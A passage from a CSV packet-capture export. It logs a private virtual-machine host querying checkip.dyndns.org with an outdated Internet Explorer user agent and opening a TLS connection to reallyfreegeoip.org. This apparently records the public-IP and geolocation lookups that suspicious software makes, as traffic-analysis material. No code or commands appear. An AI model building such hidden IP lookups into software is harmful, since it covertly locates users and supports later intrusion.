\"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 345, \"\"id\"\": 14553, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 18761, \"\"src\"\": \"\"132.226.247.73\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 50100, \"\"seq\"\": 3385610422, \"\"ack\"\": 3782497016, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 83, \"\"chksum\"\": 47304, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"HTTPResponse\"\", \"\"fields\"\": {\"\"Http_Version\"\": \"\"HTTP/1.1\"\", \"\"Status_Code\"\": \"\"200\"\", \"\"Reason_Phrase\"\": \"\"OK\"\", \"\"Accept_Patch\"\": null, \"\"Accept_Ranges\"\": null, \"\"Access_Control_Allow_Credentials\"\": null, \"\"Access_Control_Allow_Headers\"\": null, \"\"Access_Control_Allow_Methods\"\": null, \"\"Access_Control_Allow_Origin\"\": \"\"*\"\", \"\"Access_Control_Expose_Headers\"\": null, \"\"Access_Control_Max_Age\"\": null, \"\"Age\"\": null, \"\"Allow\"\": null, \"\"Alt_Svc\"\": null, \"\"Cache_Control\"\": \"\"no-cache\"\", \"\"Connection\"\": \"\"keep-alive\"\", \"\"Content_Disposition\"\": null, \"\"Content_Encoding\"\": null, \"\"Content_Language\"\": null, \"\"Content_Length\"\": \"\"104\"\", \"\"Content_Location\"\": null, \"\"Content_MD5\"\": null, \"\"Content_Range\"\": null, \"\"Content_Security_Policy\"\": null, \"\"Content_Type\"\": \"\"text/html\"\", \"\"Date\"\": \"\"Tue, 28 Apr 2026 18:22:56 GMT\"\", \"\"Delta_Base\"\": null, \"\"ETag\"\": null, \"\"Expires\"\": null, \"\"IM\"\": null, \"\"Keep_Alive\"\": null, \"\"Last_Modified\"\": null, \"\"Link\"\": null, \"\"Location\"\": null, \"\"P3P\"\": null, \"\"Permanent\"\": null, \"\"Pragma\"\": \"\"no-cache\"\", \"\"Proxy_Authenticate\"\": null, \"\"Public_Key_Pins\"\": null, \"\"Refresh\"\": null, \"\"Retry_After\"\": null, \"\"Server\"\": null, \"\"Set_Cookie\"\": null, \"\"Status\"\": null, \"\"Strict_Transport_Security\"\": null, \"\"Timing_Allow_Origin\"\": null, \"\"Tk\"\": null, \"\"Trailer\"\": null, \"\"Transfer_Encoding\"\": null, \"\"Upgrade\"\": null, \"\"Vary\"\": null, \"\"Via\"\": null, \"\"WWW_Authenticate\"\": null, \"\"Warning\"\": null, \"\"X_Content_Duration\"\": null, \"\"X_Content_Security_Policy\"\": null, \"\"X_Content_Type_Options\"\": null, \"\"X_Correlation_ID\"\": null, \"\"X_Frame_Options\"\": null, \"\"X_Powered_By\"\": null, \"\"X_Request_ID\"\": null, \"\"X_UA_Compatible\"\": null, \"\"X_WebKit_CSP\"\": null, \"\"X_XSS_Protection\"\": null, \"\"Unknown_Headers\"\": null}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"<html><head><title>Current IP Check</title></head><body>Current IP Address: 109.70.100.6</body></html>\\r\\n\"\"}}]\"\n2026-04-28 18:22:56.449893,86,TCP 192.168.122.168:50113 -> 188.114.96.0:443,192.168.122.168,188.114.96.0,50113,443,TCP,Internal,Private Network,,,,,,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,S,,,Ether > IP > TCP,3,TCP S Seq=3171960685 Ack=0,525400577f945254007bb79208004500003476a4400080062c5cc0a87aa8bc726000c3c101bbbd10476d000000008002faf057ea0000020405b40103030801010402,\"RT.W..RT.{....E..4v.@...,\\..z..r`.......Gm........W...............\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 30372, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11356, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"188.114.96.0\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50113, \"\"dport\"\": 443, \"\"seq\"\": 3171960685, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 64240, \"\"chksum\"\": 22506, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-04-28 18:22:56.449951,87,TCP 188.114.96.0:443 -> 192.168.122.168:50113,188.114.96.0,192.168.122.168,443,50113,TCP,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=2210981965 Ack=3171960686,5254007bb792525400577f94080045000034000040004006e300bc726000c0a87aa801bbc3c183c8e84dbd10476e8012a56457ea0000020405b40101040201030309,RT.{..RT.W....E..4..@.@....r`...z........M..Gn...dW..............\t,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58112, \"\"src\"\": \"\"188.114.96.0\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 50113, \"\"seq\"\": 2210981965, \"\"ack\"\": 3171960686, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 42340, \"\"chksum\"\": 22506, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 9)]\"\"}}]\"\n2026-04-28 18:22:56.450162,88,TCP 192.168.122.168:50113 -> 188.114.96.0:443,192.168.122.168,188.114.96.0,50113,443,TCP,Internal,Private Network,,,,,,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,A,,,Ether > IP > TCP,3,TCP A Seq=3171960686 Ack=2210981966,525400577f945254007bb79208004500002876a5400080062c67c0a87aa8bc726000c3c101bbbd10476e83c8e84e5010201457de0000,\"RT.W..RT.{....E..(v.@...,g..z..r`.......Gn...NP. .W...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 30373, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11367, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"188.114.96.0\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50113, \"\"dport\"\": 443, \"\"seq\"\": 3171960686, \"\"ack\"\": 2210981966, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 22494, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:22:56.450548,89,TCP 192.168.122.168:50113 -> 188.114.96.0:443,192.168.122.168,188.114.96.0,50113,443,TCP,Internal,Private Network,,,,,,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=3171960686 Ack=2210981966,525400577f945254007bb79208004500016376a6400080062b2bc0a87aa8bc726000c3c101bbbd10476e83c8e84e5018201459190000160301013601000132030169d776065d6a1c879bd68d599a24dd31ea432b99a67d300659ee10e14809d3f800000ec00ac009c014c0130035002f000a010000fb0000001800160000137265616c6c796672656567656f69702e6f7267000a00080006001d00170018000b00020100002300c0168334713c1d2370c2d8321cd32fed7f29083530180fb4e70816062a0f1580975b098bfd0d4aa44918648244e9032c72d81e6a5432615b24fd4ed6de2e55a8a938adea3238a35c1bcba5385e8c1591d9ef3e39ae5b07f90e6c59465bc94956f4cfcfeaa25d9c9001dac96b74cd8bae425eeda4baefab7b5722f3254595d3e8a122e99292e531c2908eed19ac46599d0473fa85bfcdad1456250e7c27b68c3f4e80bedb61c3f3041febf95d7412253518124d6656a06b0f016f7799af38dd3d5b00170000ff01000100,\"RT.W..RT.{....E..cv.@...++..z..r`.......Gn...NP. .Y.......6...2..i.v.]j.....Y.$.1.C+..}0.Y...H\t......\n.\t.....5./.\n.............reallyfreegeoip.org.\n.................#....4q<.#p..2../..).50.......*....[\t..\nJ.I.d.D..,r..jT2a[$.N...U..8..28.\\...8^.....>9.[...lYF[.IV.....].....kt...B^.....{W\"\".%E....\"\"....1......FY..s......V%.|'..?N...a......]t.%5..MfV.k..ow..8.=[.........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 355, \"\"id\"\": 30374, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11051, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"188.114.96.0\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50113, \"\"dport\"\": 443, \"\"seq\"\": 3171960686, \"\"ack\"\": 2210981966, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 22809, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 769, \"\"len\"\": 310, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSClientHello  msgtype=client_hello msglen=306 version=TLS 1.0 gmt_unix_time=Thu, 09 Apr 2026 09:48:54  (1775728134) random_bytes=5d6a1c879bd68d599a24dd31ea432b99a67d300659ee10e14809d3f8 sidlen=0 sid=b'' cipherslen=14 ciphers=[TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_AES_256_CBC_SHA, TLS_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_3DES_EDE_CBC_SHA] complen=1 comp=null extlen=251 ext=[<TLS_Ext_ServerName  type=server_name len=24 servernameslen=22 servernames=[b'reallyfreegeoip.org'] |>, <TLS_Ext_SupportedGroups  type=supported_groups len=8 groupslen=6 groups=[x25519, secp256r1, secp384r1] |>, <TLS_Ext_SupportedPointFormat  type=ec_point_formats len=2 ecpllen=1 ecpl=[uncompressed] |>, <TLS_Ext_SessionTicket  type=session_ticket len=192 ticket=b'\\\\x16\\\\x834q<\\\\x1d#p\\\\xc2\\\\xd82\\\\x1c\\\\xd3/\\\\xed\\\\x7f)\\\\x0850\\\\x18\\\\x0f\\\\xb4\\\\xe7\\\\x08\\\\x16\\\\x06*\\\\x0f\\\\x15\\\\x80\\\\x97[\\\\t\\\\x8b\\\\xfd\\\\rJ\\\\xa4I\\\\x18d\\\\x82D\\\\xe9\\\\x03,r\\\\xd8\\\\x1ejT2a[$\\\\xfdN\\\\xd6\\\\xde.U\\\\xa8\\\\xa98\\\\xad\\\\xea28\\\\xa3\\\\\\\\\\\\x1b\\\\xcb\\\\xa58^\\\\x8c\\\\x15\\\\x91\\\\xd9\\\\xef>9\\\\xae[\\\\x07\\\\xf9\\\\x0elYF[\\\\xc9IV\\\\xf4\\\\xcf\\\\xcf\\\\xea\\\\xa2]\\\\x9c\\\\x90\\\\x01\\\\xda\\\\xc9kt\\\\xcd\\\\x8b\\\\xaeB^\\\\xed\\\\xa4\\\\xba\\\\xef\\\\xab{W\\\"\"\\\\xf3%E\\\\x95\\\\xd3\\\\xe8\\\\xa1\\\"\"\\\\xe9\\\\x92\\\\x92\\\\xe51\\\\xc2\\\\x90\\\\x8e\\\\xed\\\\x19\\\\xacFY\\\\x9d\\\\x04s\\\\xfa\\\\x85\\\\xbf\\\\xcd\\\\xad\\\\x14V%\\\\x0e|\\\\'\\\\xb6\\\\x8c?N\\\\x80\\\\xbe\\\\xdba\\\\xc3\\\\xf3\\\\x04\\\\x1f\\\\xeb\\\\xf9]t\\\\x12%5\\\\x18\\\\x12MfV\\\\xa0k\\\\x0f\\\\x01ow\\\\x99\\\\xaf8\\\\xdd=[' |>, <TLS_Ext_ExtendedMasterSecret  type=extended_master_secret len=0 |>, <TLS_Ext_RenegotiationInfo  type=renegotiation_info len=1 reneg_conn_len=0 renegotiated_connection=b'' |>] |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-28 18:22:56.450575,90,TCP 188.114.96.0:443 -> 192.168.122.168:50113,188.114.96.0,192.168.122.168,443,50113,TCP,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2210981966 Ack=3171961001,5254007bb792525400577f940800450000285506400040068e06bc726000c0a87aa801bbc3c183c8e84ebd1048a95010005357de0000,RT.{..RT.W....E..(U.@.@....r`...z........N..H.P..SW...,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 21766, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 36358, \"\"src\"\": \"\"188.114.96.0\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 50113, \"\"seq\"\": 2210981966, \"\"ack\"\": 3171961001, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 22494, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:22:56.661194,91,TCP 192.168.122.168:50100 -> 132.226.247.73:80,192.168.122.168,132.226.247.73,50100,80,TCP,Internal,Private Network,,,,,,Brazil,São Paulo,31898,Oracle Corporation,-23.5475,-46.6361,132.226.240.0/20,A,,,Ether > IP > TCP,3,TCP A Seq=3782497016 Ack=3385610727,525400577f945254007bb792080045000028d29b4000800670b7c0a87aa884e2f749c3b40050e17452f8c9cc51e750100401b7970000,RT.W..RT.{....E..(..@...p...z....I...P.tR...Q.P.......,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 53915, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 28855, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"132.226.247.73\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50100, \"\"dport\"\": 80, \"\"seq\"\": 3782497016, \"\"ack\"\": 3385610727, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1025, \"\"chksum\"\": 46999, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:22:57.549013,92,TCP 188.114.96.0:443 -> 192.168.122.168:50113,188.114.96.0,192.168.122.168,443,50113,TCP,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS > TLS > TLS,6,TCP PA Seq=2210981966 Ack=3171961001,Error,\"Error extracting content: b'\\xba\\xf8\\xb7\\xa73\\xc6\\x90p\\x01\\xfa\\xd8\\xa65\\xa7\\x85\\xd9[\\x81\\x85\\x13\\xf1w\\x0f\\xd5\\xfe\\xf1\\x11\\xbb\\xb5$i\\xed\\x08\\x0f,\\x0cm\\xfbf\\x80T\\xa1\\xc1\\x8f\\x07\\x15\\x19\\x87\\xc0\\xfb\\xcf\\xf1\\xec^y\\xfcR\\x07\\x1e\\x10\\x06\\xdb\\xc2\\xbc\\xf6\\x1d(L\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b\\x0b'\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 163, \"\"id\"\": 21767, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 36234, \"\"src\"\": \"\"188.114.96.0\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 50113, \"\"seq\"\": 2210981966, \"\"ack\"\": 3171961001, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 83, \"\"chksum\"\": 22617, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 769, \"\"len\"\": 59, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSServerHello  msgtype=server_hello msglen=55 version=TLS 1.0 gmt_unix_time=Tue, 28 Apr 2026 18:22:56  (1777400576) random_bytes=fc2a48ecf155de23839147a60a77a9eb8f8df785444f574e47524400 sidlen=0 sid=b'' cipher=TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA comp=null extlen=15 ext=[<TLS_Ext_ExtendedMasterSecret  type=extended_master_secret len=0 |>, <TLS_Ext_RenegotiationInfo  type=renegotiation_info len=1 reneg_conn_len=0 renegotiated_connection=b'' |>, <TLS_Ext_SupportedPointFormat  type=ec_point_formats len=2 ecpllen=1 ecpl=[uncompressed] |>] |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 20, \"\"version\"\": 769, \"\"len\"\": 1, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSChangeCipherSpec  msgtype=change_cipher_spec |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 769, \"\"len\"\": 48, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"{\\\"\"load\\\"\": \\\"\"\\\\\\\\xba\\\\\\\\xf8\\\\\\\\xb7\\\\\\\\xa73\\\\u0190p\\\\u0001\\\\\\\\xfa\\\\u06265\\\\\\\\xa7\\\\\\\\x85\\\\\\\\xd9[\\\\\\\\x81\\\\\\\\x85\\\\u0013\\\\\\\\xf1w\\\\u000f\\\\\\\\xd5\\\\\\\\xfe\\\\\\\\xf1\\\\u0011\\\\\\\\xbb\\\\\\\\xb5$i\\\\\\\\xed\\\\b\\\\u000f,\\\\fm\\\\\\\\xfbf\\\\\\\\x80T\\\\\\\\xa1\\\\\\\\xc1\\\\\\\\x8f\\\\u0007\\\\u0015\\\\u0019\\\\\\\\x87\\\"\"}\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-04-28 18:22:57.679861,93,TCP 192.168.122.168:50113 -> 188.114.96.0:443,192.168.122.168,188.114.96.0,50113,443,TCP,Internal,Private Network,,,,,,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,A,,,Ether > IP > TCP,3,TCP A Seq=3171961001 Ack=2210982089,525400577f945254007bb79208004500002876a7400080062c65c0a87aa8bc726000c3c101bbbd1048a983c8e8c95010201457de0000,\"RT.W..RT.{....E..(v.@...,e..z..r`.......H.....P. .W...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 30375, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11365, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"188.114.96.0\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50113, \"\"dport\"\": 443, \"\"seq\"\": 3171961001, \"\"ack\"\": 2210982089, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 22494, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:22:57.755073,94,TCP 192.168.122.168:50113 -> 188.114.96.0:443,192.168.122.168,188.114.96.0,50113,443,TCP,Internal,Private Network,,,,,,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,FA,,,Ether > IP > TCP,3,TCP FA Seq=3171961001 Ack=2210982089,525400577f945254007bb79208004500002876a8400080062c64c0a87aa8bc726000c3c101bbbd1048a983c8e8c95011201457de0000,\"RT.W..RT.{....E..(v.@...,d..z..r`.......H.....P. .W...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 30376, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11364, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"188.114.96.0\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50113, \"\"dport\"\": 443, \"\"seq\"\": 3171961001, \"\"ack\"\": 2210982089, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 22494, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:22:57.755152,95,TCP 188.114.96.0:443 -> 192.168.122.168:50113,188.114.96.0,192.168.122.168,443,50113,TCP,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,Internal,Private Network,,,,,,FA,,,Ether > IP > TCP,3,TCP FA Seq=2210982089 Ack=3171961002,5254007bb792525400577f940800450000285508400040068e04bc726000c0a87aa801bbc3c183c8e8c9bd1048aa5011005357de0000,RT.{..RT.W....E..(U.@.@....r`...z...........H.P..SW...,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 21768, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 36356, \"\"src\"\": \"\"188.114.96.0\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 50113, \"\"seq\"\": 2210982089, \"\"ack\"\": 3171961002, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 83, \"\"chksum\"\": 22494, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:22:57.755274,96,TCP 192.168.122.168:50113 -> 188.114.96.0:443,192.168.122.168,188.114.96.0,50113,443,TCP,Internal,Private Network,,,,,,Unknown,Unknown,13335,\"Cloudflare, Inc.\",,,188.114.96.0/22,A,,,Ether > IP > TCP,3,TCP A Seq=3171961002 Ack=2210982090,525400577f945254007bb79208004500002876a9400080062c63c0a87aa8bc726000c3c101bbbd1048aa83c8e8ca5010201457de0000,\"RT.W..RT.{....E..(v.@...,c..z..r`.......H.....P. .W...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 30377, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11363, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"188.114.96.0\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50113, \"\"dport\"\": 443, \"\"seq\"\": 3171961002, \"\"ack\"\": 2210982090, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 22494, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-28 18:22:57.806554,97,TCP 192.168.122.168:50100 -> 132.226.247.73:80,192.168.122.168,132.226.247.73,50100,80,TCP,Internal,Private Network,,,,,,Brazil,São Paulo,31898,Oracle Corporation,-23.5475,-46.6361,132.226.240.0/20,PA,,http://checkip.dyndns.org/,Ether > IP > TCP > HTTP > HTTPRequest,5,HTTP Request: GET /,525400577f945254007bb7920800450000a7d29c400080067037c0a87aa884e2f749c3b40050e17452f8c9cc51e750180401b8160000474554202f20485454502f312e310d0a557365722d4167656e743a204d6f7a696c6c612f342e302028636f6d70617469626c653b204d53494520362e303b2057696e646f7773204e5420352e323b202e4e455420434c52312e302e333730353b290d0a486f73743a20636865636b69702e64796e646e732e6f72670d0a0d0a,\"RT.W..RT.{....E.....@...p7..z....I...P.tR...Q.P.......GET / 